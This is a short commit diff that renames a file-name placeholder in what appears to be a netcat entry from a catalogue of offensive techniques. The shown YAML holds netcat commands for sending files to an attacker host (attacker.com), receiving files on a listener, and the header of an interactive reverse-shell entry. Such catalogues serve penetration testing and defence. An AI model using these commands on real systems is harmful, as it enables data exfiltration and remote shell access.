Replace where_to_save with file_to_save
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
---
|
||||
functions:
|
||||
upload:
|
||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
|
||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
@@ -11,7 +11,7 @@ functions:
|
||||
- description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
||||
code: |
|
||||
LPORT=12345
|
||||
LFILE=where_to_save
|
||||
LFILE=file_to_save
|
||||
nc -l -p $LPORT > "$LFILE"
|
||||
reverse-shell-interactive:
|
||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||
|
||||
Reference in New Issue
Block a user